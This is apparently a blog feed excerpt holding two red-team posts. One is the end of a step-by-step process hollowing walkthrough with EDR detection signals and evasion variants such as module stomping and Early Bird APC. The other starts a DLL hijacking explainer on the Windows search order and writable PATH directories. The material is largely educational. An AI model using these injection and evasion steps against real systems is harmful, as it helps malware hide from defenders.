&lt;li&gt;Before the call: &lt;code&gt;MEM_IMAGE&lt;/code&gt;, file-backed, path-resolvable&lt;/li&gt;
&lt;li&gt;After the call: &lt;code&gt;MEM_FREE&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;After Step 4's &lt;code&gt;VirtualAllocEx&lt;/code&gt;: &lt;code&gt;MEM_PRIVATE&lt;/code&gt; — anonymous, no &lt;code&gt;CONTROL_AREA&lt;/code&gt;, no path&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;This is where hollowing becomes visible to any scanner that checks the VAD.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Failure mode:&lt;/em&gt; &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; if the handle lacks &lt;code&gt;PROCESS_VM_OPERATION&lt;/code&gt; access, or if the region was mapped with incompatible sharing flags (rare for a freshly suspended process, but possible in constrained environments).&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — VirtualAllocEx and WriteProcessMemory
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;VirtualAllocEx&lt;/code&gt; at the payload's preferred &lt;code&gt;ImageBase&lt;/code&gt; with &lt;code&gt;MEM_COMMIT | MEM_RESERVE&lt;/code&gt; and &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;. A new &lt;code&gt;VadNone&lt;/code&gt; node is inserted — anonymous private memory. &lt;code&gt;VirtualQuery&lt;/code&gt; on this range now returns &lt;code&gt;MEM_PRIVATE&lt;/code&gt;. The transformation is complete.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;WriteProcessMemory&lt;/code&gt; loads the payload in two passes:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Headers first.&lt;/strong&gt; Write the DOS header, NT headers, and section headers at the base. Some payloads reference their own headers at runtime — skipping this breaks them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sections at virtual offsets.&lt;/strong&gt; For each section: write raw data to &lt;code&gt;AllocatedBase + SectionHeader.VirtualAddress&lt;/code&gt;. Sections smaller than &lt;code&gt;VirtualSize&lt;/code&gt; leave zeroed padding — expected behavior. Sections that exceed &lt;code&gt;SizeOfRawData&lt;/code&gt; boundaries require boundary checking to avoid clobbering adjacent sections.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Relocation handling&lt;/strong&gt; is where most implementations fail silently. If &lt;code&gt;VirtualAllocEx&lt;/code&gt; returns a different address than the payload's preferred &lt;code&gt;ImageBase&lt;/code&gt; — because that range is unavailable — every absolute address in the payload is wrong by &lt;code&gt;ActualBase - PreferredBase&lt;/code&gt;. The &lt;code&gt;.reloc&lt;/code&gt; section exists precisely for this: walk the Base Relocation Table, compute the delta, patch each referenced address before resuming.&lt;/p&gt;

&lt;p&gt;If the payload was compiled with &lt;code&gt;/FIXED&lt;/code&gt; or had its relocation table stripped by the packer, and the base differs, the process crashes on the first absolute reference. This is not an edge case — it's one of the most common failure modes in real-world hollowing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — SetThreadContext: Redirecting Execution
&lt;/h3&gt;

&lt;p&gt;The suspended thread's instruction pointer still targets &lt;code&gt;RtlUserThreadStart&lt;/code&gt; in ntdll. The legitimate entry point it was about to call no longer exists.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GetThreadContext&lt;/code&gt; with &lt;code&gt;CONTEXT_FULL&lt;/code&gt; retrieves the complete register snapshot from the thread's &lt;code&gt;TrapFrame&lt;/code&gt; and &lt;code&gt;KTHREAD-&amp;gt;KernelStack&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here's the nuance most write-ups get wrong.&lt;/strong&gt; On x64, the initial &lt;code&gt;Rip&lt;/code&gt; is &lt;code&gt;RtlUserThreadStart&lt;/code&gt;, not &lt;code&gt;AddressOfEntryPoint&lt;/code&gt;. Its signature: &lt;code&gt;VOID RtlUserThreadStart(PUSER_THREAD_START_ROUTINE Function, PVOID Parameter)&lt;/code&gt;. The entry point is passed in &lt;code&gt;RCX&lt;/code&gt;, the parameter in &lt;code&gt;RDX&lt;/code&gt;. The attacker patches &lt;strong&gt;RCX&lt;/strong&gt; to &lt;code&gt;PayloadBase + AddressOfEntryPoint&lt;/code&gt; — not &lt;code&gt;Rip&lt;/code&gt; directly.&lt;/p&gt;

&lt;p&gt;Setting &lt;code&gt;Rip&lt;/code&gt; to the entry point bypasses &lt;code&gt;RtlUserThreadStart&lt;/code&gt; entirely. No SEH frame setup. No stack alignment initialization. The payload crashes inside the CRT before running a single line of its own code.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SetThreadContext&lt;/code&gt; applies the modified context. The kernel updates the thread's trap frame. When the thread resumes, &lt;code&gt;RtlUserThreadStart&lt;/code&gt; runs normally — calling the payload's entry point instead of the original binary's.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 6 — Patching PEB-&amp;gt;ImageBaseAddress
&lt;/h3&gt;

&lt;p&gt;The PEB still holds the &lt;code&gt;ImageBaseAddress&lt;/code&gt; of the original binary — a region that no longer exists. Any tool reading that field and calling &lt;code&gt;VirtualQuery&lt;/code&gt; on it finds &lt;code&gt;MEM_FREE&lt;/code&gt;. An obvious anomaly.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;WriteProcessMemory&lt;/code&gt; overwrites the 8 bytes at &lt;code&gt;PebBaseAddress + 0x10&lt;/code&gt; with the payload's actual load address. The process is now internally consistent at the PEB level.&lt;/p&gt;

&lt;p&gt;What this step does &lt;em&gt;not&lt;/em&gt; fix: the loader list inconsistency. No &lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt; for the payload is ever inserted. The loader never ran. Module enumeration via the PEB lists returns an empty list — the payload executes in a process whose own loader structures don't acknowledge it exists.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 7 — ResumeThread
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ResumeThread&lt;/code&gt; decrements the suspend count to zero. The scheduler picks up the thread. It resumes at &lt;code&gt;RtlUserThreadStart&lt;/code&gt;, which calls the patched &lt;code&gt;RCX&lt;/code&gt; — the payload's entry point. The payload runs inside a process that, from the OS's perspective, is entirely legitimate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The sequence is complete. The process has the right name, the right token, and the wrong code.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Broken Invariants: The Real Story
&lt;/h2&gt;

&lt;p&gt;Hollowing is best understood not as code injection, but as &lt;strong&gt;desynchronization between a process's identity, its memory, and its execution&lt;/strong&gt;. Three invariants Windows implicitly assumes are violated simultaneously.&lt;/p&gt;

&lt;h3&gt;
  
  
  Memory Invariant — MEM_IMAGE Must Have a Backing File
&lt;/h3&gt;

&lt;p&gt;When the kernel creates a &lt;code&gt;MEM_IMAGE&lt;/code&gt; region, it does so through a section object tied to a file. The &lt;code&gt;CONTROL_AREA&lt;/code&gt; in the VAD node maintains that reference — enabling &lt;code&gt;VirtualQuery&lt;/code&gt; to return &lt;code&gt;MEM_IMAGE&lt;/code&gt;, &lt;code&gt;GetMappedFileName&lt;/code&gt; to return a path, and scanners to compare the live image against disk.&lt;/p&gt;

&lt;p&gt;After hollowing: the region at the executable's base is &lt;code&gt;MEM_PRIVATE&lt;/code&gt;. No &lt;code&gt;CONTROL_AREA&lt;/code&gt;. No file reference. No resolvable path. This is the invariant module stomping specifically addresses by reusing an already-mapped DLL's &lt;code&gt;MEM_IMAGE&lt;/code&gt; region — keeping the file backing while replacing the content.&lt;/p&gt;

&lt;h3&gt;
  
  
  Loader Invariant — The LDR Lists Must Reflect Loaded Modules
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;PEB-&amp;gt;Ldr&lt;/code&gt; maintains three circular doubly-linked lists that are the authoritative source for &lt;code&gt;EnumProcessModules&lt;/code&gt;, &lt;code&gt;GetModuleHandle&lt;/code&gt;, and every debugger. Under normal operation, the main executable has a corresponding &lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt; linking it to the file on disk, its image base, and its name.&lt;/p&gt;

&lt;p&gt;After hollowing: no &lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt; for the payload exists. The loader never ran to create one. The payload's code executes in a process whose own loader structures don't acknowledge it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Execution Invariant — Code Must Execute From a Named Module
&lt;/h3&gt;

&lt;p&gt;On a healthy Windows system, every return address on every thread's call stack resolves to a named module with a resolvable path. Frames in anonymous private memory are a high-confidence anomaly signal.&lt;/p&gt;

&lt;p&gt;After hollowing: the thread executes entirely within &lt;code&gt;MEM_PRIVATE&lt;/code&gt;. Every frame in the call stack is an orphaned frame — no module name, no file path, no loader entry.&lt;/p&gt;

&lt;p&gt;These three violations — memory type mismatch, absent loader entry, execution in untracked memory — are the structural fingerprint of hollowing. &lt;strong&gt;Patching &lt;code&gt;PEB-&amp;gt;ImageBaseAddress&lt;/code&gt; in Step 6 fixes none of them.&lt;/strong&gt; It's cosmetic. The invariant violations persist underneath.&lt;/p&gt;

&lt;h2&gt;
  
  
  What EDR Actually Sees
&lt;/h2&gt;

&lt;p&gt;Knowing what's visible is operationally relevant — because it determines exactly what evasion is necessary.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Behavioral Sequence, Not Individual APIs
&lt;/h3&gt;

&lt;p&gt;No single API in the hollowing chain is inherently malicious. &lt;code&gt;CreateProcess&lt;/code&gt;, &lt;code&gt;NtQueryInformationProcess&lt;/code&gt;, &lt;code&gt;ReadProcessMemory&lt;/code&gt;, &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt;, &lt;code&gt;VirtualAllocEx&lt;/code&gt;, &lt;code&gt;WriteProcessMemory&lt;/code&gt;, &lt;code&gt;SetThreadContext&lt;/code&gt;, &lt;code&gt;ResumeThread&lt;/code&gt; — each has legitimate uses in isolation.&lt;/p&gt;

&lt;p&gt;What behavioral engines watch is the &lt;strong&gt;sequence and temporal proximity&lt;/strong&gt;: a process creates a suspended child, immediately queries its PEB, reads from its address space, unmaps a region at the address extracted from that PEB, allocates at the same address, writes a PE-sized payload, modifies the thread's &lt;code&gt;RCX&lt;/code&gt; register, and resumes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This sequence is the signature. Everything else is optional.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That behavioral chain, against a single target handle within a narrow time window, is near-unambiguous — even without a single malicious API call in isolation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Memory State Transitions
&lt;/h3&gt;

&lt;p&gt;ETW providers &lt;code&gt;Microsoft-Windows-Kernel-Memory&lt;/code&gt; and &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; emit events for virtual memory operations. An EDR consuming these watches a specific VAD mutation sequence: &lt;code&gt;MEM_IMAGE&lt;/code&gt; at the image base disappears, immediately replaced by &lt;code&gt;MEM_PRIVATE&lt;/code&gt; at the same address, followed by cross-process writes from the parent into that range.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;MEM_IMAGE → MEM_FREE → MEM_PRIVATE&lt;/code&gt; at a freshly created process's image base has no legitimate explanation.&lt;/p&gt;

&lt;h3&gt;
  
  
  VAD Anomalies
&lt;/h3&gt;

&lt;p&gt;Kernel-mode sensors with direct &lt;code&gt;EPROCESS&lt;/code&gt; access query the VAD tree directly — bypassing all user-mode evasion. They check the VAD node at &lt;code&gt;PEB-&amp;gt;ImageBaseAddress&lt;/code&gt;: &lt;code&gt;VadImageMap&lt;/code&gt; or &lt;code&gt;VadNone&lt;/code&gt;? If it's private, and the thread's &lt;code&gt;RIP&lt;/code&gt; falls within that range, the process is hollowed. This check is entirely kernel-side, invisible to the attacker's user-mode code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Thread Anomalies
&lt;/h3&gt;

&lt;p&gt;Some EDRs snapshot the expected &lt;code&gt;RCX&lt;/code&gt; value — derived from &lt;code&gt;AddressOfEntryPoint + ImageBase&lt;/code&gt; via &lt;code&gt;NtQueryInformationProcess&lt;/code&gt; — at process creation and compare it against the actual thread context at &lt;code&gt;ResumeThread&lt;/code&gt;. A mismatch pointing into a &lt;code&gt;MEM_PRIVATE&lt;/code&gt; range is flagged immediately.&lt;/p&gt;

&lt;p&gt;Once the thread is running, periodic kernel-side stack sampling finds frames in &lt;code&gt;MEM_PRIVATE&lt;/code&gt; with no resolvable module. Every such frame is a strong behavioral indicator independent of the creation-time signals.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Sysmon Telemetry Gap
&lt;/h3&gt;

&lt;p&gt;Default Sysmon configurations don't generate events for &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; or &lt;code&gt;NtWriteVirtualMemory&lt;/code&gt;. Not an oversight — these are high-volume operations. This gap is part of why hollowing remains viable against Sysmon-only detection stacks. The artifacts exist in kernel ETW and memory scanners, but log-based SIEM detections built on Sysmon alone miss the core VAD mutation entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  Evasion Variants
&lt;/h2&gt;

&lt;h3&gt;
  
  
  RW → VirtualProtect → RX Instead of RWX
&lt;/h3&gt;

&lt;p&gt;Allocate &lt;code&gt;PAGE_READWRITE&lt;/code&gt;. Write all sections. Call &lt;code&gt;VirtualProtectEx&lt;/code&gt; to transition executable sections to &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt;. This removes the &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt; region that most EDR behavioral rules aggressively target. The &lt;code&gt;MEM_PRIVATE&lt;/code&gt; anomaly remains — this doesn't address the core forensic artifact — but it eliminates the most over-signatured permission combination. One extra API call. Worth it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Module Stomping
&lt;/h3&gt;

&lt;p&gt;The direct evolutionary response to &lt;code&gt;MEM_PRIVATE&lt;/code&gt; detection. Force a legitimate DLL to load into the target process via a remote &lt;code&gt;LoadLibraryA&lt;/code&gt; or queued APC. This creates a real &lt;code&gt;MEM_IMAGE&lt;/code&gt; region with genuine file backing. Then overwrite that region with your payload via &lt;code&gt;WriteProcessMemory&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The VAD node stays &lt;code&gt;VadImageMap&lt;/code&gt;. &lt;code&gt;VirtualQuery&lt;/code&gt; returns &lt;code&gt;MEM_IMAGE&lt;/code&gt;. &lt;code&gt;GetMappedFileName&lt;/code&gt; returns the DLL's path. The code in that memory is yours. This defeats the primary forensic indicator — at the cost of a new one: the in-memory image no longer matches the file on disk, detectable by scanners that hash-compare live image regions against disk.&lt;/p&gt;

&lt;h3&gt;
  
  
  Early Bird APC Injection
&lt;/h3&gt;

&lt;p&gt;Queue an APC to the suspended main thread before &lt;code&gt;ResumeThread&lt;/code&gt; instead of modifying the thread context. The APC executes when the thread first becomes alertable — before any EDR's &lt;code&gt;DLL_PROCESS_ATTACH&lt;/code&gt; hooks initialize in the new process. Execution occurs entirely outside user-mode hook coverage. The memory-type artifacts remain, but the execution timeline shifts in a way that defeats hook-based behavioral engines.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure Modes in Practice
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Relocation failures.&lt;/strong&gt; If &lt;code&gt;VirtualAllocEx&lt;/code&gt; returns a different address than the payload's preferred &lt;code&gt;ImageBase&lt;/code&gt;, every absolute address is wrong by &lt;code&gt;ActualBase - PreferredBase&lt;/code&gt;. Without a relocation table — common with packed or stripped payloads — the process crashes on the first absolute reference. Fix: force the same base, or implement relocation table parsing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TLS callbacks.&lt;/strong&gt; Host binaries with Thread Local Storage callbacks expect those to run during loader initialization. They won't. In most scenarios, targeting binaries without TLS (the majority of simple system binaries) avoids this entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Import resolution.&lt;/strong&gt; At the point &lt;code&gt;ResumeThread&lt;/code&gt; fires, only &lt;code&gt;ntdll.dll&lt;/code&gt; is guaranteed to be mapped in the new process — the kernel loads it first for every process. &lt;code&gt;kernel32.dll&lt;/code&gt; and &lt;code&gt;kernelbase.dll&lt;/code&gt; are not yet present. Payloads that assume a populated IAT crash immediately. Payloads that resolve their own imports (standard in staged loaders and shellcode) do not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ASLR and preferred bases.&lt;/strong&gt; The host binary's actual load address may differ from its &lt;code&gt;ImageBase&lt;/code&gt; in the NT headers. Reading the actual base from the PEB handles this. Computing the payload entry point from the preferred &lt;code&gt;ImageBase&lt;/code&gt; instead of the actual allocated address produces a wrong entry point and a clean crash.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Core Artifact and What Comes Next
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; followed by &lt;code&gt;VirtualAllocEx&lt;/code&gt; at the same address is structurally self-revealing. It destroys a &lt;code&gt;MEM_IMAGE&lt;/code&gt; region backed by a legitimate file and replaces it with anonymous private memory. Every memory scanner, every kernel-side VAD query, every &lt;code&gt;GetMappedFileName&lt;/code&gt; call on the base address surfaces the inconsistency.&lt;/p&gt;

&lt;p&gt;The attack is powerful against detection stacks that don't perform this cross-reference. Against those that do, the artifact is definitional — built into the technique's core mechanism.&lt;/p&gt;

&lt;p&gt;The next logical question: what if you never called &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt; at all? What if you hijacked memory that's already a legitimate &lt;code&gt;MEM_IMAGE&lt;/code&gt; region — one with a real file path that passes every scanner check, a real &lt;code&gt;CONTROL_AREA&lt;/code&gt;, a real disk backing? That's module stomping, one rung up the same ladder.&lt;/p&gt;

&lt;p&gt;Hollowing isn’t stealth. It’s inconsistency. And inconsistency is exactly what defenders learn to hunt.&lt;/p&gt;

&lt;p&gt;Below that rung is DLL Hijacking — exploiting the loader's own search-order behavior to make Windows load your code as a legitimate library, without touching an existing process at all. A design decision baked into the Windows loader since the early 1990s that still can't be fully patched without breaking legacy application compatibility.&lt;/p&gt;

&lt;p&gt;That's next.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The proof-of-concept implementation is available in the &lt;a href="https://github.com/Nimesh-Nakum/windows-kernel-internals-lab/tree/main/Process_hollowing" rel="noopener noreferrer"&gt;windows-kernel-internals-lab&lt;/a&gt; repository.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>processhollowing</category>
      <category>windowsinternal</category>
      <category>redteaming</category>
    </item>
    <item>
      <title>DLL Hijacking — Three Variants with ProcMon Methodology</title>
      <dc:creator>nimesh nakum</dc:creator>
      <pubDate>Wed, 10 Jun 2026 04:27:53 +0000</pubDate>
      <link>https://dev.to/redforge/dll-hijacking-three-variants-with-procmon-methodology-1mpn</link>
      <guid>https://dev.to/redforge/dll-hijacking-three-variants-with-procmon-methodology-1mpn</guid>
      <description>&lt;p&gt;what  if you didn't need to hollow anything? What if Windows itself loads your malicious code, willingly, through its own loader? That's DLL hijacking — the OS doing your dirty work.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;How Windows Finds DLLs — The Search Order&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;when a process calls :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;LoadLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"example.dll"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Windows now has a problem:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Where exactly is &lt;code&gt;example.dll&lt;/code&gt; located?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Because only a filename was given — not a full path.&lt;/p&gt;

&lt;p&gt;So the Windows Loader (&lt;code&gt;LdrLoadDll&lt;/code&gt; inside &lt;code&gt;ntdll.dll&lt;/code&gt;) begins searching through multiple locations in a specific order.&lt;/p&gt;

&lt;p&gt;That search order is what attackers abuse.&lt;/p&gt;

&lt;p&gt;There are Basically Two categories :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Standard Search Locations&lt;/strong&gt;
Normal DLL resolution path&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Special Search Locations&lt;/strong&gt;
Extra trusted/preferred/forced locations used by Windows&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Phase 1: Special Search Locations
&lt;/h4&gt;

&lt;p&gt;Before scanning the physical directories on your hard drive, Windows checks several internal, memory-based, or configuration-based mechanisms to see if the DLL is already handled:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;DLL Redirection:&lt;/strong&gt; Windows first checks if a specific redirection file or rule exists for the application.( If a &lt;code&gt;.local&lt;/code&gt; file or &lt;code&gt;app.exe.local&lt;/code&gt; folder exists alongside the application, Windows redirects DLL loads to that location )&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;API Sets:&lt;/strong&gt; It then checks if the requested DLL is an API Set name that needs to be resolved to a physical DLL.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; When an app requests something like &lt;code&gt;api-ms-win-core-processthreads-l1-1-0.dll&lt;/code&gt;, the API Set schema maps it to the real DLL (&lt;code&gt;kernelbase.dll&lt;/code&gt; or similar) before any filesystem search happens.&lt;/li&gt;
&lt;li&gt;You can't hijack an API Set dependency with a dropped file — it never reaches the filesystem.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SxS Manifest Redirection:&lt;/strong&gt; The system checks Side-by-Side (SxS) manifests to see if the application requires a specific version of the DLL.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If it does, Windows loads from the WinSxS store — again, bypassing the filesystem search entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Loaded-Module List:&lt;/strong&gt; Windows checks if the requested DLL is already loaded into the current process's memory space.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the DLL is already loaded in the process — already present in &lt;code&gt;InMemoryOrderModuleList&lt;/code&gt; — the loader returns the existing mapping. No disk access at all.&lt;/li&gt;
&lt;li&gt;This is why injecting a DLL once makes subsequent &lt;code&gt;LoadLibrary&lt;/code&gt; calls for the same name return your version — it's already in the list.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Known DLLs:&lt;/strong&gt; It checks a pre-defined registry list of core Windows DLLs. If it's a "Known DLL," Windows will always use the system copy, preventing hijacking of critical files.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- The kernel pre-maps a set of critical system DLLs at boot and stores them as named section objects under `\KnownDLLs`. When the loader encounters a DLL name that matches, it maps directly from that section object. The filesystem is never consulted.

-  This is why you cannot hijack `ntdll.dll`, `kernel32.dll`, `user32.dll`, or `kernelbase.dll` by dropping a file anywhere — they are resolved before the filesystem search begins.

- You can see the full `KnownDLLs` list yourself:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sysinternals WinObj → navigate to \KnownDLLs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Package Dependency Graph of Process:&lt;/strong&gt; It checks the dependency graph for the specific application package, Before Standard Locations.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the DLL hasn't been found or resolved in the first phase, Windows moves on to querying directories on the disk. This is where the majority of standard DLL hijacking opportunities arise. It searches in this exact order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Application's Directory:&lt;/strong&gt; The folder from which the executable file was launched.

&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;application's own directory&lt;/strong&gt; comes first — before System32, before anything else. This was intentional. &lt;/li&gt;
&lt;li&gt;Applications in the Windows 95 era were expected to ship their own DLL versions alongside their executables, and Windows needed to respect that. That backward-compatibility decision has never been reversed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Why attackers care: if an application's directory is writable by a non-admin user — which is common for software installed under Program Files with weak ACLs, or anything in a user-controlled path — you can place a DLL there and the loader picks it up before the legitimate copy in System32 is ever checked.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;C:\Windows\System32&lt;/code&gt;:&lt;/strong&gt; The primary system directory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;C:\Windows\System&lt;/code&gt;:&lt;/strong&gt; The legacy system directory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;C:\Windows&lt;/code&gt;:&lt;/strong&gt; The main Windows directory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Current Directory:&lt;/strong&gt; The directory the process is currently executing in (which can sometimes be different from the application's launch directory).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Directories Listed in PATH Variable:&lt;/strong&gt; Finally, if it hasn't found the DLL anywhere else, Windows sweeps through all the directories specified in the system's &lt;code&gt;%PATH%&lt;/code&gt; environment variable.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Safe DLL Search Mode&lt;/strong&gt; slightly adjusts this standard list by deprioritizing the current working directory, moving it later in the order. It's enabled by default:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager
SafeDllSearchMode = 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It protects against working-directory attacks specifically. The application directory is untouched — it stays first. Safe DLL Search Mode is a partial mitigation that addresses one variant of the problem while leaving the most practical variant completely open.&lt;/p&gt;

&lt;p&gt;Understanding this full picture matters because it tells you exactly which DLLs are hijackable and which aren't — before you touch ProcMon. &lt;/p&gt;

&lt;p&gt;If a DLL name appears in KnownDLLs or gets resolved via API Sets, no dropped file will intercept it. Everything else is fair game.&lt;/p&gt;

&lt;p&gt;The exact DLL search order varies depending on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SafeDllSearchMode&lt;/li&gt;
&lt;li&gt;whether LoadLibraryEx is used&lt;/li&gt;
&lt;li&gt;SxS activation contexts&lt;/li&gt;
&lt;li&gt;packaged application behavior&lt;/li&gt;
&lt;li&gt;custom DLL directories&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The order above reflects the common unpackaged desktop application search behavior when no custom loader flags are specified.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Common DLL Hijacking Implementations&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The three most common techniques attackers use are DLL side-loading, DLL search order hijacking and phantom DLL loading. The most common technique is DLL side-loading&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;DLL Search Order Hijacking&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;This implementation exemplifies the core abuse of the entire Windows DLL search order.&lt;/p&gt;

&lt;p&gt;This technique simply leverages the Windows DLL search order to drop a malicious DLL in any of its searched locations that would cause a vulnerable, legitimate program to execute a malicious DLL.&lt;/p&gt;

&lt;p&gt;An attacker can place a malicious DLL in a location prioritized by the DLL search order before the location of a valid DLL.&lt;/p&gt;

&lt;p&gt;This can happen at any point in the DLL search order, including the PATH environment variable, which attackers can modify by adding a path directory with a malicious DLL.&lt;/p&gt;

&lt;p&gt;An example of this type of attack is to drop a malicious DLL in a Python installation directory to hijack the DLL search order.&lt;/p&gt;

&lt;p&gt;When Python is installed on a Windows machine, it often adds its installation directory to the PATH environment variable, usually in one of the first searched locations.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fweqdznq555wwy2tsnk3h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fweqdznq555wwy2tsnk3h.png" alt="Image 2 is a screenshot of Python folders listed in the Edit environment variable window. There are options for New, Edit and Browse." width="614" height="265"&gt;&lt;/a&gt;&lt;br&gt;
             Python folders in the PATH environment variable&lt;/p&gt;

&lt;p&gt;Installing Python on a Windows host creates a directory with relaxed permissions, allowing any authenticated user (including unprivileged ones) to write to this location. &lt;/p&gt;

&lt;p&gt;This gives attackers the best conditions to execute their DLL search order hijack attack and infect the targeted machine.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;strong&gt;Phantom DLL Loading&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;In this technique, attackers look for a vulnerable executable that attempts to load a DLL that simply doesn't exist (or is missing) due to an implementation bug.&lt;/p&gt;

